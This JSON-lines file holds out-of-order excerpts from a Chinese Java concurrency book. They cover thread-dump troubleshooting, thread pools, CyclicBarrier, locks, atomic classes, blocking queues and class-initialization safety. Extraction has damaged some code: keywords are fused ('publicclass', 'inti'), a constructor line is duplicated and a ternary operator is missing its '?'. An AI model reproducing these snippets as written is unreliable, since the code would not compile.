    {"text": "Unknown 11.2 线上问题定位 有时候，有很多问题只有在线上或者预发环境才能发现，而线上又不能调试代码，所以线上问题定位就只能看日志、系统状态和dump线程，本节只是简单地介绍一些常用的工具，以帮助大家定位线上问题。"},
    {"text": "top - 22:27:25 up 463 days, 12:46, 1 user, load average: 11.80, 12.19, 11.79 Tasks: 113 total, 5 running, 108 sleeping, 0 stopped, 0 zombie Cpu(s): 62.0%us, 2.8%sy, 0.0%ni, 34.3%id, 0.0%wa, 0.0%hi, 0.7%si, 0.2%st Mem: 7680000k total, 7665504k used, 14496k free, 97268k buffers Swap: 2096472k total, 14904k used, 2081568k free, 3033060k cached PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND 31177 admin 18 0 5351m 4.0g 49m S 301.4 54.0 935:02.08 java 31738 admin 15 0 36432 12m 1052 S 8.7 0.2 11:21.05 nginx-proxy 我们的程序是Java应用，所以只需要关注COMMAND是Java的性能数据，COMMAND表示启动当前进程的命令，在Java进程这一行里可以看到CPU利用率是300%，不用担心，这个是当前机器所有核加在一起的CPU利用率。"},
    {"text": "top - 22:24:50 up 463 days, 12:43, 1 user, load average: 12.55, 12.27, 11.73 Tasks: 110 total, 3 running, 107 sleeping, 0 stopped, 0 zombie Cpu0 : 72.4%us, 3.6%sy, 0.0%ni, 22.7%id, 0.0%wa, 0.0%hi, 0.7%si, 0.7%st Cpu1 : 58.7%us, 4.3%sy, 0.0%ni, 34.3%id, 0.0%wa, 0.0%hi, 2.3%si, 0.3%st Cpu2 : 53.3%us, 2.6%sy, 0.0%ni, 34.1%id, 0.0%wa, 0.0%hi, 9.6%si, 0.3%st Cpu3 : 52.7%us, 2.7%sy, 0.0%ni, 25.2%id, 0.0%wa, 0.0%hi, 19.5%si, 0.0%st Cpu4 : 59.5%us, 2.7%sy, 0.0%ni, 31.2%id, 0.0%wa, 0.0%hi, 6.6%si, 0.0%st Mem: 7680000k total, 7663152k used, 16848k free, 98068k buffers Swap: 2096472k total, 14904k used, 2081568k free, 3032636k cached 命令行显示了CPU4，说明这是一个5核的虚拟机，平均每个CPU利用率在60%以上。"},
    {"text": "PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND 31558 admin 15 0 5351m 4.0g 49m S 12.2 54.0 10:08.31 java 31561 admin 15 0 5351m 4.0g 49m R 12.2 54.0 9:45.43 java 31626 admin 15 0 5351m 4.0g 49m S 11.9 54.0 13:50.21 java 31559 admin 15 0 5351m 4.0g 49m S 10.9 54.0 5:34.67 java 31612 admin 15 0 5351m 4.0g 49m S 10.6 54.0 8:42.77 java 31555 admin 15 0 5351m 4.0g 49m S 10.3 54.0 13:00.55 java 31630 admin 15 0 5351m 4.0g 49m R 10.3 54.0 4:00.75 java 31646 admin 15 0 5351m 4.0g 49m S 10.3 54.0 3:19.92 java 31653 admin 15 0 5351m 4.0g 49m S 10.3 54.0 8:52.90 java 31607 admin 15 0 5351m 4.0g 49m S 9.9 54.0 14:37.82 java 在这里可能会出现3种情况。"},
    {"text": "如果是第一种情况，也有可能是GC造成，可以用jstat命令看一下GC情况，看看是不是因为持久代或年老代满了，产生Full GC，导致CPU利用率持续飙高，命令和回显如下。 sudo /opt/java/bin/jstat -gcutil 31177 1000 5 S0 S1 E O P YGC YGCT FGC FGCT GCT 0.00 1.27 61.30 55.57 59.98 16040 143.775 30 77.692 221.467 0.00 1.27 95.77 55.57 59.98 16040 143.775 30 77.692 221.467 1.37 0.00 33.21 55.57 59.98 16041 143.781 30 77.692 221.474 1.37 0.00 74.96 55.57 59.98 16041 143.781 30 77.692 221.474 0.00 1.59 22.14 55.57 59.98 16042 143.789 30 77.692 221.481 还可以把线程dump下来，看看究竟是哪个线程、执行什么代码造成的CPU利用率高。"},
    {"text": "\"http-0.0.0.0-7001-97\" daemon prio=10 tid=0x000000004f6a8000 nid=0x555e in Object. wait() [0x0000000052423000] java.lang.Thread.State: WAITING (on object monitor) at java.lang.Object.wait(Native Method) - waiting on (a org.apache.tomcat.util.net.AprEndpoint$Worker) at java.lang.Object.wait(Object.java:485) at org.apache.tomcat.util.net.AprEndpoint$Worker.await(AprEndpoint.java:1464) - locked (a org.apache.tomcat.util.net.AprEndpoint$Worker) at org.apache.tomcat.util.net.AprEndpoint$Worker.run(AprEndpoint.java:1489) at java.lang.Thread.run(Thread.java:662) dump出来的线程ID（nid）是十六进制的，而我们用TOP命令看到的线程ID是十进制的，所以要用printf命令转换一下进制。 然后用十六进制的ID去dump里找到对应的线程。"},
    {"text": "Unknown 10.2.1 FixedThreadPool详解 FixedThreadPool被称为可重用固定线程数的线程池。下面是FixedThreadPool的源代码实现。 public static ExecutorService newFixedThreadPool(int nThreads) { return new ThreadPoolExecutor(nThreads, nThreads, 0L, TimeUnit.MILLISECONDS, new LinkedBlockingQueue<Runnable>()); } FixedThreadPool的corePoolSize和maximumPoolSize都被设置为创建FixedThreadPool时指定的参数nThreads。 当线程池中的线程数大于corePoolSize时，keepAliveTime为多余的空闲线程等待新任务的最长时间，超过这个时间后多余的线程将被终止。这里把keepAliveTime设置为0L，意味着多余的空闲线程会被立即终止。 FixedThreadPool的execute()方法的运行示意图如图10-4所示。 图10-4 FixedThreadPool的execute()的运行示意图 对图10-4的说明如下。 1）如果当前运行的线程数少于corePoolSize，则创建新线程来执行任务。 2）在线程池完成预热之后（当前运行的线程数等于corePoolSize），将任务加入LinkedBlockingQueue。 3）线程执行完1中的任务后，会在循环中反复从LinkedBlockingQueue获取任务来执行。 FixedThreadPool使用无界队列LinkedBlockingQueue作为线程池的工作队列（队列的容量为Integer.MAX_VALUE）。使用无界队列作为工作队列会对线程池带来如下影响。 1）当线程池中的线程数达到corePoolSize后，新任务将在无界队列中等待，因此线程池中的线程数不会超过corePoolSize。 2）由于1，使用无界队列时maximumPoolSize将是一个无效参数。 3）由于1和2，使用无界队列时keepAliveTime将是一个无效参数。 4）由于使用无界队列，运行中的FixedThreadPool（未执行方法shutdown()或shutdownNow()）不会拒绝任务（不会调用RejectedExecutionHandler.rejectedExecution方法）。 Unknown 8.2 同步屏障CyclicBarrier CyclicBarrier的字面意思是可循环使用（Cyclic）的屏障（Barrier）。它要做的事情是，让一组线程到达一个屏障（也可以叫同步点）时被阻塞，直到最后一个线程到达屏障时，屏障才会开门，所有被屏障拦截的线程才会继续运行。 Unknown 10.4.2 FutureTask的使用 可以把FutureTask交给Executor执行；也可以通过ExecutorService.submit（…）方法返回一个FutureTask，然后执行FutureTask.get()方法或FutureTask.cancel（…）方法。除此以外，还可以单独使用FutureTask。 当一个线程需要等待另一个线程把某个任务执行完后它才能继续执行，此时可以使用FutureTask。假设有多个线程执行若干任务，每个任务最多只能被执行一次。当多个线程试图同时执行同一个任务时，只允许一个线程执行任务，其他线程需要等待这个任务执行完后才能继续执行。下面是对应的示例代码。 private final ConcurrentMap<Object, Future<String>> taskCache = new ConcurrentHashMap<Object, Future<String>>(); private String executionTask(final String taskName) throws ExecutionException, InterruptedException { while (true) { Future<String> future = taskCache.get(taskName); // 1.1,2.1 if (future == null) { Callable<String> task = new Callable<String>() { public String call() throws InterruptedException { return taskName; } }; // 1.2创建任务 FutureTask<String> futureTask = new FutureTask<String>(task); future = taskCache.putIfAbsent(taskName, futureTask); // 1.3 if (future == null) { future = futureTask; futureTask.run(); // 1.4执行任务 } } try { return future.get(); // 1.5,2.2线程在此等待任务执行完成 } catch (CancellationException e) { taskCache.remove(taskName, future); } } } 上述代码的执行示意图如图10-14所示。 图10-14 代码的执行示意图 当两个线程试图同时执行同一个任务时，如果Thread 1执行1.3后Thread 2执行2.1，那么接下来Thread 2将在2.2等待，直到Thread 1执行完1.4后Thread 2才能从2.2（FutureTask.get()）返回。"},
    {"text": "Unknown 8.2.2 CyclicBarrier的应用场景 CyclicBarrier可以用于多线程计算数据，最后合并计算结果的场景。例如，用一个Excel保存了用户所有银行流水，每个Sheet保存一个账户近一年的每笔银行流水，现在需要统计用户的日均银行流水，先用多线程处理每个sheet里的银行流水，都执行完之后，得到每个sheet的日均银行流水，最后，再用barrierAction用这些线程的计算结果，计算出整个Excel的日均银行流水，如代码清单8-5所示。 代码清单8-5 BankWaterService.java import java.util.Map.Entry; import java.util.concurrent.BrokenBarrierException; import java.util.concurrent.ConcurrentHashMap; import java.util.concurrent.CyclicBarrier; import java.util.concurrent.Executor; import java.util.concurrent.Executors; /** * 银行流水处理服务类 * * @authorftf * */ publicclass BankWaterService implements Runnable { /** * 创建4个屏障，处理完之后执行当前类的run方法 */ private CyclicBarrier c = new CyclicBarrier(4, this); /** * 假设只有4个sheet，所以只启动4个线程 */ private Executor executor = Executors.newFixedThreadPool(4); /** * 保存每个sheet计算出的银流结果 */ private ConcurrentHashMap<String, Integer>sheetBankWaterCount = new ConcurrentHashMap<String, Integer>(); privatevoid count() { for (inti = 0; i< 4; i++) { executor.execute(new Runnable() { @Override publicvoid run() { // 计算当前sheet的银流数据，计算代码省略 sheetBankWaterCount .put(Thread.currentThread().getName(), 1); // 银流计算完成，插入一个屏障 try { c.await(); } catch (InterruptedException | BrokenBarrierException e) { e.printStackTrace(); } } }); } } @Override publicvoid run() { intresult = 0; // 汇总每个sheet计算出的结果 for (Entry<String, Integer>sheet : sheetBankWaterCount.entrySet()) { result += sheet.getValue(); } // 将结果输出 sheetBankWaterCount.put(\"result\", result); System.out.println(result); } publicstaticvoid main(String[] args) { BankWaterService bankWaterCount = new BankWaterService(); bankWaterCount.count(); } } 使用线程池创建4个线程，分别计算每个sheet里的数据，每个sheet计算结果是1，再由BankWaterService线程汇总4个sheet计算出的结果，输出结果如下。 4 Unknown 5.1 Lock接口 锁是用来控制多个线程访问共享资源的方式，一般来说，一个锁能够防止多个线程同时访问共享资源（但是有些锁可以允许多个线程并发的访问共享资源，比如读写锁）。在Lock接口出现之前，Java程序是靠synchronized关键字实现锁功能的，而Java SE 5之后，并发包中新增了Lock接口（以及相关实现类）用来实现锁功能，它提供了与synchronized关键字类似的同步功能，只是在使用时需要显式地获取和释放锁。虽然它缺少了（通过synchronized块或者方法所提供的）隐式获取释放锁的便捷性，但是却拥有了锁获取与释放的可操作性、可中断的获取锁以及超时获取锁等多种synchronized关键字所不具备的同步特性。 使用synchronized关键字将会隐式地获取锁，但是它将锁的获取和释放固化了，也就是先获取再释放。当然，这种方式简化了同步的管理，可是扩展性没有显示的锁获取和释放来的好。例如，针对一个场景，手把手进行锁获取和释放，先获得锁A，然后再获取锁B，当锁B获得后，释放锁A同时获取锁C，当锁C获得后，再释放B同时获取锁D，以此类推。这种场景下，synchronized关键字就不那么容易实现了，而使用Lock却容易许多。 Lock的使用也很简单，代码清单5-1是Lock的使用的方式。 代码清单5-1 LockUseCase.java Lock lock = new ReentrantLock(); lock.lock(); try { } finally { lock.unlock(); } 在finally块中释放锁，目的是保证在获取到锁之后，最终能够被释放。 不要将获取锁的过程写在try块中，因为如果在获取锁（自定义锁的实现）时发生了异常，异常抛出的同时，也会导致锁无故释放。 Lock接口提供的synchronized关键字所不具备的主要特性如表5-1所示。 表5-1 Lock接口提供的synchronized关键字不具备的主要特性 Lock是一个接口，它定义了锁获取和释放的基本操作，Lock的API如表5-2所示。 表5-2 Lock的API 这里先简单介绍一下Lock接口的API，随后的章节会详细介绍同步器AbstractQueuedSynchronizer以及常用Lock接口的实现ReentrantLock。Lock接口的实现基本都是通过聚合了一个同步器的子类来完成线程访问控制的。 Unknown Java核心技术系列 Java并发编程的艺术 方腾飞 魏鹏 程晓明 著 ISBN：978-7-111-50824-3 本书纸版由机械工业出版社于2015年出版，电子版由华章分社（北京华章图文信息有限公司，北京奥维博世图书发行有限公司）全球范围内制作与发行。 版权所有，侵权必究 客服热线：+ 86-10-68995265 客服信箱：service@bbbvip.com 官方网址：www.hzmedia.com.cn 新浪微博 @华章数媒 腾讯微博 @yanfabook 微信公众号 华章电子书（微信号：hzebook）"},
    {"text": "Unknown 4.2.2 启动线程 线程对象在初始化完成之后，调用start()方法就可以启动这个线程。线程start()方法的含义是：当前线程（即parent线程）同步告知Java虚拟机，只要线程规划器空闲，应立即启动调用start()方法的线程。 注意 启动一个线程前，最好为这个线程设置线程名称，因为这样在使用jstack分析程序或者进行问题排查时，就会给开发人员提供一些提示，自定义的线程最好能够起个名字。 Unknown 第2章 Java并发机制的底层实现原理 Java代码在编译后会变成Java字节码，字节码被类加载器加载到JVM里，JVM执行字节码，最终需要转化为汇编指令在CPU上执行，Java中所使用的并发机制依赖于JVM的实现和CPU的指令。本章我们将深入底层一起探索下Java并发机制的底层实现原理。 Unknown 11.5 本章小结 本章介绍了使用生产者和消费者模式进行并发编程、线上问题排查手段和性能测试实战，以及异步任务池的设计。并发编程的实战需要大家平时多使用和测试，才能在项目中发挥作用。 Unknown 3.5.1 锁的释放-获取建立的happens-before关系 锁是Java并发编程中最重要的同步机制。锁除了让临界区互斥执行外，还可以让释放锁的线程向获取同一个锁的线程发送消息。 下面是锁释放-获取的示例代码。 class MonitorExample { int a = 0; public synchronized void writer() { // 1 a++; // 2 } // 3 public synchronized void reader() { // 4 int i = a; // 5 …… } // 6 } 假设线程A执行writer()方法，随后线程B执行reader()方法。根据happens-before规则，这个过程包含的happens-before关系可以分为3类。 1）根据程序次序规则，1 happens-before 2,2 happens-before 3;4 happens-before 5,5 happens-before 6。 2）根据监视器锁规则，3 happens-before 4。 3）根据happens-before的传递性，2 happens-before 5。 上述happens-before关系的图形化表现形式如图3-24所示。 图3-24 happens-before关系图 在图3-24中，每一个箭头链接的两个节点，代表了一个happens-before关系。黑色箭头表示程序顺序规则；橙色箭头表示监视器锁规则；蓝色箭头表示组合这些规则后提供的happens-before保证。 图3-24表示在线程A释放了锁之后，随后线程B获取同一个锁。在上图中，2 happens-before 5。因此，线程A在释放锁之前所有可见的共享变量，在线程B获取同一个锁之后，将立刻变得对B线程可见。 Unknown 3.2.1 数据依赖性 如果两个操作访问同一个变量，且这两个操作中有一个为写操作，此时这两个操作之间就存在数据依赖性。数据依赖分为下列3种类型，如表3-4所示。 表3-4 数据依赖类型表 上面3种情况，只要重排序两个操作的执行顺序，程序的执行结果就会被改变。 前面提到过，编译器和处理器可能会对操作做重排序。编译器和处理器在重排序时，会遵守数据依赖性，编译器和处理器不会改变存在数据依赖关系的两个操作的执行顺序。 这里所说的数据依赖性仅针对单个处理器中执行的指令序列和单个线程中执行的操作，不同处理器之间和不同线程之间的数据依赖性不被编译器和处理器考虑。"},
    {"text": "Unknown 7.1 原子更新基本类型类 使用原子的方式更新基本类型，Atomic包提供了以下3个类。 ·AtomicBoolean：原子更新布尔类型。 ·AtomicInteger：原子更新整型。 ·AtomicLong：原子更新长整型。 以上3个类提供的方法几乎一模一样，所以本节仅以AtomicInteger为例进行讲解，AtomicInteger的常用方法如下。 ·int addAndGet（int delta）：以原子方式将输入的数值与实例中的值（AtomicInteger里的value）相加，并返回结果。 ·boolean compareAndSet（int expect，int update）：如果输入的数值等于预期值，则以原子方式将该值设置为输入的值。 ·int getAndIncrement()：以原子方式将当前值加1，注意，这里返回的是自增前的值。 ·void lazySet（int newValue）：最终会设置成newValue，使用lazySet设置值后，可能导致其他线程在之后的一小段时间内还是可以读到旧的值。关于该方法的更多信息可以参考并发编程网翻译的一篇文章《AtomicLong.lazySet是如何工作的？》，文章地址是“ http://ifeve.com/how-does-atomiclong-lazyset-work/ ”。 ·int getAndSet（int newValue）：以原子方式设置为newValue的值，并返回旧值。 AtomicInteger示例代码如代码清单7-1所示。 代码清单7-1 AtomicIntegerTest.java import java.util.concurrent.atomic.AtomicInteger; public class AtomicIntegerTest { static AtomicInteger ai = new AtomicInteger(1); public static void main(String[] args) { System.out.println(ai.getAndIncrement()); System.out.println(ai.get()); } } 输出结果如下。 1 2 那么getAndIncrement是如何实现原子操作的呢？让我们一起分析其实现原理，getAndIncrement的源码如代码清单7-2所示。 代码清单7-2 AtomicInteger.java public final int getAndIncrement() { for (;;) { int current = get(); int next = current + 1; if (compareAndSet(current, next)) return current; } } public final boolean compareAndSet(int expect, int update) { return unsafe.compareAndSwapInt(this, valueOffset, expect, update); } 源码中for循环体的第一步先取得AtomicInteger里存储的数值，第二步对AtomicInteger的当前数值进行加1操作，关键的第三步调用compareAndSet方法来进行原子更新操作，该方法先检查当前数值是否等于current，等于意味着AtomicInteger的值没有被其他线程修改过，则将AtomicInteger的当前数值更新成next的值，如果不等compareAndSet方法会返回false，程序会进入for循环重新进行compareAndSet操作。 Atomic包提供了3种基本类型的原子更新，但是Java的基本类型里还有char、float和double等。那么问题来了，如何原子的更新其他的基本类型呢？Atomic包里的类基本都是使用Unsafe实现的，让我们一起看一下Unsafe的源码，如代码清单7-3所示。 代码清单7-3 Unsafe.java /** * 如果当前数值是expected，则原子的将Java变量更新成x * @return 如果更新成功则返回true */ public final native boolean compareAndSwapObject(Object o, long offset, Object expected, Object x); public final native boolean compareAndSwapInt(Object o, long offset, int expected, int x); public final native boolean compareAndSwapLong(Object o, long offset, long expected, long x); 通过代码，我们发现Unsafe只提供了3种CAS方法：compareAndSwapObject、compare-AndSwapInt和compareAndSwapLong，再看AtomicBoolean源码，发现它是先把Boolean转换成整型，再使用compareAndSwapInt进行CAS，所以原子更新char、float和double变量也可以用类似的思路来实现。"},
    {"text": "private final Condition notFull; private final Condition notEmpty; public ArrayBlockingQueue(int capacity, boolean fair) { // 省略其他代码 notEmpty = lock.newCondition(); notFull = lock.newCondition(); } public void put(E e) throws InterruptedException { checkNotNull(e); final ReentrantLock lock = this.lock; lock.lockInterruptibly(); try { while (count == items.length) notFull.await(); insert(e); } finally { lock.unlock(); } } public E take() throws InterruptedException { final ReentrantLock lock = this.lock; lock.lockInterruptibly(); try { while (count == 0) notEmpty.await(); return extract(); } finally { lock.unlock(); } } private void insert(E x) { items[putIndex] = x; putIndex = inc(putIndex); ++count; notEmpty.signal(); } 当往队列里插入一个元素时，如果队列不可用，那么阻塞生产者主要通过LockSupport.park（this）来实现。 public final void await() throws InterruptedException { if (Thread.interrupted()) throw new InterruptedException(); Node node = addConditionWaiter(); int savedState = fullyRelease(node); int interruptMode = 0; while (!isOnSyncQueue(node)) { LockSupport.park(this); if ((interruptMode = checkInterruptWhileWaiting(node)) != 0) break; } if (acquireQueued(node, savedState) && interruptMode != THROW_IE) interruptMode = REINTERRUPT; if (node.nextWaiter != null) // clean up if cancelled unlinkCancelledWaiters(); if (interruptMode != 0) reportInterruptAfterWait(interruptMode); } 继续进入源码，发现调用setBlocker先保存一下将要阻塞的线程，然后调用unsafe.park阻塞当前线程。 public static void park(Object blocker) { Thread t = Thread.currentThread(); setBlocker(t, blocker); unsafe.park(false, 0L); setBlocker(t, null); } unsafe.park是个native方法，代码如下。 public native void park(boolean isAbsolute, long time); park这个方法会阻塞当前线程，只有以下4种情况中的一种发生时，该方法才会返回。"},
    {"text": "继续看一下JVM是如何实现park方法：park在不同的操作系统中使用不同的方式实现，在Linux下使用的是系统方法pthread_cond_wait实现。 实现代码在JVM源码路径src/os/linux/vm/os_linux.cpp里的os::PlatformEvent::park方法，代码如下。"},
    {"text": "void os::PlatformEvent::park() { int v ; for (;;) { v = _Event ; if (Atomic::cmpxchg (v-1, &_Event, v) == v) break ; } guarantee (v >= 0, \"invariant\") ; if (v == 0) { // Do this the hard way by blocking ... int status = pthread_mutex_lock(_mutex); assert_status(status == 0, status, \"mutex_lock\"); guarantee (_nParked == 0, \"invariant\") ; ++ _nParked ; while (_Event < 0) { status = pthread_cond_wait(_cond, _mutex); // for some reason, under 2.7 lwp_cond_wait() may return ETIME ... // Treat this the same as if the wait was interrupted if (status == ETIME) { status = EINTR; } assert_status(status == 0 || status == EINTR, status, \"cond_wait\"); } -- _nParked ; // In theory we could move the ST of 0 into _Event past the unlock(), // but then we'd need a MEMBAR after the ST. _Event = 0 ; status = pthread_mutex_unlock(_mutex); assert_status(status == 0, status, \"mutex_unlock\"); } guarantee (_Event >= 0, \"invariant\") ; } } pthread_cond_wait是一个多线程的条件变量函数，cond是condition的缩写，字面意思可以理解为线程在等待一个条件发生，这个条件是一个全局变量。"},
    {"text": "\"main\" prio=5 tid=0x00007fc83c000000 nid=0x10164e000 waiting on condition [0x000000010164d000] java.lang.Thread.State: WAITING (parking) at sun.misc.Unsafe.park(Native Method) - parking to wait for <0x0000000140559fe8> (a java.util.concurrent.locks. AbstractQueuedSynchronizer$ConditionObject) at java.util.concurrent.locks.LockSupport.park(LockSupport.java:186) at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject. await(AbstractQueuedSynchronizer.java:2043) at java.util.concurrent.ArrayBlockingQueue.put(ArrayBlockingQueue.java:324) at blockingqueue.ArrayBlockingQueueTest.main(ArrayBlockingQueueTest.java:11)"},
    {"text": "public class InstanceFactory { private static class InstanceHolder { public static Instance instance = new Instance(); } public static Instance getInstance() { return InstanceHolder.instance ; // 这里将导致InstanceHolder类被初始化 } } 假设两个线程并发执行getInstance()方法，下面是执行的示意图，如图3-40所示。"},
    {"text": "图3-40 两个线程并发执行的示意图 这个方案的实质是：允许3.8.2节中的3行伪代码中的2和3重排序，但不允许非构造线程（这里指线程B）“看到”这个重排序。"},
    {"text": "由于Java语言是多线程的，多个线程可能在同一时间尝试去初始化同一个类或接口（比如这里多个线程可能在同一时刻调用getInstance()方法来初始化InstanceHolder类）。"},
    {"text": "JVM在类初始化期间会获取这个初始化锁，并且每个线程至少获取一次锁来确保这个类已经被初始化过了（事实上，Java语言规范允许JVM的具体实现在这里做一些优化，见后文的说明）。"},
    {"text": "Java初始化一个类或接口的处理过程如下（这里对类初始化处理过程的说明，省略了与本文无关的部分； 同时为了更好的说明类初始化过程中的同步处理机制，笔者人为的把类初始化的处理过程分为了5个阶段）。 第1阶段：通过在Class对象上同步（即获取Class对象的初始化锁），来控制类或接口的初始化。"},
    {"text": "表3-8 类初始化——第2阶段的执行时序表 图3-42 类初始化——第2阶段 第3阶段：线程A设置state=initialized，然后唤醒在condition中等待的所有线程。"},
    {"text": "图3-43 类初始化——第3阶段 表3-9是这个示意图的说明。 表3-9 类初始化——第3阶段的执行时序表 第4阶段：线程B结束类的初始化处理。 图3-44 类初始化——第4阶段 表3-10是这个示意图的说明。 表3-10 类初始化——第4阶段的执行时序表 图3-45 多线程执行时序图 线程A在第2阶段的A1执行类的初始化，并在第3阶段的A4释放初始化锁；"},
    {"text": "根据Java内存模型规范的锁规则，这里将存在如下的happens-before关系。 这个happens-before关系将保证：线程A执行类的初始化时的写入操作（执行类的静态初始化和初始化类中声明的静态字段），线程B一定能看到。"},
    {"text": "图3-46 类初始化——第5阶段 表3-11是这个示意图的说明。 表3-11 类初始化——第5阶段的执行时序表 在第3阶段之后，类已经完成了初始化。"},
    {"text": "因此线程C在第5阶段的类初始化处理过程相对简单一些（前面的线程A和B的类初始化处理过程都经历了两次锁获取-锁释放，而线程C的类初始化处理只需要经历一次锁获取-锁释放）。"},
    {"text": "根据Java内存模型规范的锁规则，将存在如下的happens-before关系。 这个happens-before关系将保证：线程A执行类的初始化时的写入操作，线程C一定能看到。"},
    {"text": "图3-47 多线程执行时序图 通过对比基于volatile的双重检查锁定的方案和基于类初始化的方案，我们会发现基于类初始化的方案的实现代码更简洁。 但基于volatile的双重检查锁定的方案有一个额外的优势：除了可以对静态字段实现延迟初始化外，还可以对实例字段实现延迟初始化。"},
    {"text": "如果确实需要对实例字段使用线程安全的延迟初始化，请使用上面介绍的基于volatile的延迟初始化的方案； 如果确实需要对静态字段使用线程安全的延迟初始化，请使用上面介绍的基于类初始化的方案。"},
    {"text": "1.入队列的过程 入队列就是将入队节点添加到队列的尾部 。 为了方便理解入队时队列的变化，以及head节点和tail节点的变化，这里以一个示例来展开介绍。"},
    {"text": "队列首先设置元素1节点的next节点为元素2节点，然后更新tail节点指向元素2节点。 图6-4 队列添加元素的快照图 ·添加元素3，设置tail节点的next节点为元素3节点。 ·添加元素4，设置元素3的next节点为元素4节点，然后将tail节点指向元素4节点。"},
    {"text": "通过调试入队过程并观察head节点和tail节点的变化，发现入队主要做两件事情：第一是将入队节点设置成当前队列尾节点的下一个节点； 第二是更新tail节点，如果tail节点的next节点不为空，则将入队节点设置成tail节点，如果tail节点的next节点为空，则将入队节点设置成tail的next节点，所以tail节点不总是尾节点（理解这一点对于我们研究源码会非常有帮助）。"},
    {"text": "通过对上面的分析，我们从单线程入队的角度理解了入队过程，但是多个线程同时进行入队的情况就变得更加复杂了，因为可能会出现其他线程插队的情况。 如果有一个线程正在入队，那么它必须先获取尾节点，然后设置尾节点的下一个节点为入队节点，但这时可能有另外一个线程插队了，那么队列的尾节点就会发生变化，这时当前线程要暂停入队操作，然后重新获取尾节点。"},
    {"text": "public boolean offer(E e) { if (e == null) throw new NullPointerException(); // 入队前，创建一个入队节点 Node<E> n = new Node<E>(e); retry: // 死循环，入队不成功反复入队。 for (;;) { // 创建一个指向tail节点的引用 Node<E> t = tail; // p用来表示队列的尾节点，默认情况下等于tail节点。 Node<E> p = t; for (int hops = 0; ; hops++) { // 获得p节点的下一个节点。 Node<E> next = succ(p); // next节点不为空，说明p不是尾节点，需要更新p后在将它指向next节点 if (next != null) { // 循环了两次及其以上，并且当前节点还是不等于尾节点 if (hops > HOPS && t != tail) continue retry; p = next; } // 如果p是尾节点，则设置p节点的next节点为入队节点。 else if (p.casNext(null, n)) { /*如果tail节点有大于等于1个next节点，则将入队节点设置成tail节点， 更新失败了也没关系，因为失败了表示有其他线程成功更新了tail节点*/ if (hops >= HOPS) casTail(t, n); // 更新tail节点，允许失败 return true; } // p有next节点,表示p的next节点是尾节点，则重新设置p节点 else { p = succ(p); } } } } 从源代码角度来看，整个入队过程主要做两件事情：第一是定位出尾节点； 第二是使用CAS算法将入队节点设置成尾节点的next节点，如不成功则重试。 2.定位尾节点 tail节点并不总是尾节点，所以每次入队都必须先通过tail节点来找到尾节点。 尾节点可能是tail节点，也可能是tail节点的next节点。 代码中循环体中的第一个if就是判断tail是否有next节点，有则表示next节点可能是尾节点。 获取tail节点的next节点需要注意的是p节点等于p的next节点的情况，只有一种可能就是p节点和p的next节点都等于空，表示这个队列刚初始化，正准备添加节点，所以需要返回head节点。 获取p节点的next节点代码如下。 final Node<E> succ(Node<E> p) { Node<E> next = p.getNext(); return (p == next) head : next; } 3.设置入队节点为尾节点 p.casNext（null，n）方法用于将入队节点设置为当前队列尾节点的next节点，如果p是null，表示p是当前队列的尾节点，如果不为null，表示有其他线程更新了尾节点，则需要重新获取当前队列的尾节点。"},
    {"text": "4.HOPS的设计意图 上面分析过对于先进先出的队列入队所要做的事情是将入队节点设置成尾节点，doug lea写的代码和逻辑还是稍微有点复杂。"},
    {"text": "public boolean offer(E e) { if (e == null) throw new NullPointerException(); Node<E> n = new Node<E>(e); for (;;) { Node<E> t = tail; if (t.casNext(null, n) && casTail(t, n)) { return true; } } } 让tail节点永远作为队列的尾节点，这样实现代码量非常少，而且逻辑清晰和易懂。"},
    {"text": "如果能减少CAS更新tail节点的次数，就能提高入队的效率，所以doug lea使用hops变量来控制并减少tail节点的更新频率，并不是每次节点入队后都将tail节点更新成尾节点，而是当tail节点和尾节点的距离大于等于常量HOPS的值（默认等于1）时才更新tail节点，tail和尾节点的距离越长，使用CAS更新tail节点的次数就会越少，但是距离越长带来的负面效果就是每次入队时定位尾节点的时间就越长，因为循环体需要多循环一次来定位出尾节点，但是这样仍然能提高入队的效率，因为从本质上来看它通过增加对volatile变量的读操作来减少对volatile变量的写操作，而对volatile变量的写操作开销要远远大于读操作，所以入队效率会有所提升。"},
    {"text": "·ArrayBlockingQueue：一个由数组结构组成的有界阻塞队列。 ·LinkedBlockingQueue：一个由链表结构组成的有界阻塞队列。 ·PriorityBlockingQueue：一个支持优先级排序的无界阻塞队列。 ·DelayQueue：一个使用优先级队列实现的无界阻塞队列。 ·SynchronousQueue：一个不存储元素的阻塞队列。 ·LinkedTransferQueue：一个由链表结构组成的无界阻塞队列。 ·LinkedBlockingDeque：一个由链表结构组成的双向阻塞队列。 1.ArrayBlockingQueue ArrayBlockingQueue是一个用数组实现的有界阻塞队列。"},
    {"text": "默认情况下不保证线程公平的访问队列，所谓公平访问队列是指阻塞的线程，可以按照阻塞的先后顺序访问队列，即先阻塞线程先访问队列。 非公平性是对先等待的线程是非公平的，当队列可用时，阻塞的线程都可以争夺访问队列的资格，有可能先阻塞的线程最后才访问队列。"},
    {"text": "public ArrayBlockingQueue(int capacity, boolean fair) { if (capacity <= 0) throw new IllegalArgumentException(); this.items = new Object[capacity]; lock = new ReentrantLock(fair); notEmpty = lock.newCondition(); notFull = lock.newCondition(); } 2.LinkedBlockingQueue LinkedBlockingQueue是一个用链表实现的有界阻塞队列。"},
    {"text": "·缓存系统的设计：可以用DelayQueue保存缓存元素的有效期，使用一个线程循环查询DelayQueue，一旦能从DelayQueue中获取元素时，表示缓存有效期到了。"},
    {"text": "·定时任务调度：使用DelayQueue保存当天将会执行的任务和执行时间，一旦从DelayQueue中获取到任务就开始执行，比如TimerQueue就是使用DelayQueue实现的。"},
    {"text": "private static final AtomicLong sequencer = new AtomicLong(0); ScheduledFutureTask(Runnable r, V result, long ns, long period) { ScheduledFutureTask(Runnable r, V result, long ns, long period) { super(r, result); this.time = ns; this.period = period; this.sequenceNumber = sequencer.getAndIncrement(); } 第二步：实现getDelay方法，该方法返回当前元素还需要延时多长时间，单位是纳秒，代码如下。 public long getDelay(TimeUnit unit) { return unit.convert(time - now(), TimeUnit.NANOSECONDS); } 通过构造函数可以看出延迟时间参数ns的单位是纳秒，自己设计的时候最好使用纳秒，因为实现getDelay()方法时可以指定任意单位，一旦以秒或分作为单位，而延时时间又精确不到纳秒就麻烦了。"},
